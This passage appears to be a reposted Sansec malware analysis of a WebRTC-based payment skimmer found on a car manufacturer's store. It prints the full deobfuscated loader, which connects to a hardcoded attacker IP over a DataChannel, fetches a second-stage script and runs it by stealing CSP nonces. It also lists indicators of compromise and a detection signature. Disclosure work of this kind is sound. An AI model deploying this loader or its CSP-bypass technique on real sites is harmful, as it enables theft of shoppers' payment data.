




















What sets this attack apart is the skimmer itself. Instead of the usual HTTP requests or image beacons, this malware uses WebRTC DataChannels to load its payload and exfiltrate stolen payment data. This is the first time Sansec has observed WebRTC used as a skimming channel.
The car manufacturer is the latest victim in a streak of major ecommerce breaches. Sansec has now found payment skimmers on five multi-billion dollar companeis in the past two months, including a top-3 US bank and a top-10 global supermarket chain.
The most likely entry vector is a PolyShell attack that Sansec warned about last week. Mass exploitation of PolyShell started on March 19th, and Sansec has now found PolyShell attacks on 56.7% of all vulnerable stores.
Sansec has notified the car manufacturer but has not received a response yet.
WebRTC peer connections operate outside the scope of Content Security Policy. CSP directives like connect-src control fetch, XHR, and WebSocket connections, but they do not restrict RTCPeerConnection. A store with a strict CSP that blocks all unauthorized HTTP connections is still wide open to WebRTC-based exfiltration.
This is a well-known gap in the CSP specification. Chrome has shipped experimental support for a webrtc CSP directive, but it is not standardized yet and virtually no site deploys it. For the vast majority of real-world stores, this bypass works.
The traffic itself is also harder to detect. WebRTC DataChannels run over DTLS-encrypted UDP, not HTTP. Network security tools that inspect HTTP traffic will never see the stolen data leave.
The skimmer is a self-executing function that sets up a WebRTC peer connection to a hardcoded IP address. Here is the full deobfuscated code:
(function () {
var conn = new window.RTCPeerConnection();
var channel = conn.createDataChannel(location.href);
var chunks = [];
var executed = false;
channel.onmessage = function (event) {
chunks.push(
typeof event.data == "string"
? event.data
: new TextDecoder().decode(event.data),
);
};
channel.onclose = function () {
executePayload();
conn.close();
};
var iceUfrag = Math.random().toString(36).slice(2, 10);
conn
.createOffer()
.then(function (offer) {
offer.sdp = offer.sdp
.replace(RegExp("a=ice-ufrag:.+", "g"), "a=ice-ufrag:" + iceUfrag)
.replace(
RegExp("a=ice-pwd:.+", "g"),
"a=ice-pwd:05l0TstonL9bYAdB04I6x2",
);
return conn.setLocalDescription(offer);
})
.then(function () {
var c2ip = [202, 181, 177, 177].join(".");
conn.setRemoteDescription({
type: "answer",
sdp:
"v=0\r\no=- 0 0 IN IP4 0.0.0.0\r\n" +
"s=-\r\nt=0 0\r\n" +
"a=group:BUNDLE 0\r\n" +
"a=ice-ufrag:" +
iceUfrag +
"\r\n" +
"a=ice-pwd:JxCvVg2YnHDqAcpPS8mkqC\r\n" +
"a=fingerprint:sha-256 9E:BB:2A:E2:C5:B8:DC:0A:8B:A7:" +
"85:E1:9F:C4:F8:A8:09:2A:F4:1E:70:30:1B:AF:9F:26:97:" +
"BE:E2:6E:E3:1D\r\n" +
"a=setup:passive\r\n" +
"m=application 3479 UDP/DTLS/SCTP webrtc-datachannel\r\n" +
"c=IN IP4 " +
c2ip +
"\r\n" +
"a=mid:0\r\na=sctp-port:5000\r\n" +
"a=candidate:1 1 UDP 1803930525 " +
c2ip +
" 3479 typ host\r\n",
});
});
setTimeout(function () {
executePayload();
conn.close();
}, 1e4);
function executePayload() {
if (executed) {
return;
}
executed = true;
var payload = chunks.join("");
(
window.requestIdleCallback ||
function (fn) {
setTimeout(fn, 50);
}
)(function () {
try {
var script = document.createElement("script");
var scripts = document.querySelectorAll("script");
var i;
for (i = 0; i < scripts.length; i = i + 1) {
if (scripts[i].nonce) {
script.nonce = scripts[i].nonce;
inject();
return;
}
}
try {
Function(payload)();
} catch (e) {
inject();
}
function inject() {
script.textContent = payload;
document.head.appendChild(script);
script.remove();
}
} catch (e) {}
});
}
})();
1. Establish a WebRTC connection to the attacker's server. The script creates an RTCPeerConnection and a DataChannel labeled with the current page URL. This tells the attacker's server which page the victim is on.
2. Forge the SDP handshake. Instead of using a signaling server, the malware builds the entire SDP exchange locally. It generates a random ICE username fragment and hardcodes the ICE password (05l0TstonL9bYAdB04I6x2). It then constructs a fake SDP "answer" pointing to the attacker's IP 202.181.177.177 on UDP port 3479, with a pre-shared DTLS fingerprint.
This is a clever trick: normal WebRTC applications need a signaling server to exchange connection details between peers. By hardcoding the remote SDP, the malware skips signaling entirely and connects directly to the C2 server.
3. Receive the second-stage payload. The DataChannel's onmessage handler collects all incoming data into an array. The attacker's server sends JavaScript code back through the encrypted DataChannel.
4. Execute the payload with CSP nonce theft. When the channel closes (or after a 10-second timeout), the executePayload function runs. It concatenates all received chunks into a single string, then tries to execute it as JavaScript. The execution path is carefully designed to bypass Content Security Policy:
<script> tags for a nonce attribute. If found, it copies the nonce to a new script element and injects the payload into the page. This defeats CSP script-src 'nonce-...' policies.Function(code)(), which works when CSP allows unsafe-eval.<script> tag to document.head and immediately removes it.The use of requestIdleCallback ensures the payload executes during browser idle time, reducing the chance of performance-related detection.
The timing of this breach, discovered days after automated PolyShell mass scanning started on March 19th, strongly suggests the attackers gained access through the PolyShell vulnerability. PolyShell allows unauthenticated file uploads to any vulnerable store via the REST API, and no official patch exists for production versions.
Store operators should also verify that their web server blocks access to pub/media/custom_options/ as described in our PolyShell advisory.
C2 server:
202.181.177.177
UDP port 3479
ICE credentials (hardcoded in SDP):
Client ICE password: 05l0TstonL9bYAdB04I6x2
Server ICE password: JxCvVg2YnHDqAcpPS8mkqC
DTLS fingerprint:
9E:BB:2A:E2:C5:B8:DC:0A:8B:A7:85:E1:9F:C4:F8:A8:09:2A:F4:1E:70:30:1B:AF:9F:26:97:BE:E2:6E:E3:1D
WebRTC SDP pattern (detection signature):
m=application 3479 UDP/DTLS/SCTP webrtc-datachannel
a=sctp-port:5000
此内容由惯性聚合(RSS阅读器)自动聚合整理,仅供阅读参考。 原文来自 — 版权归原作者所有。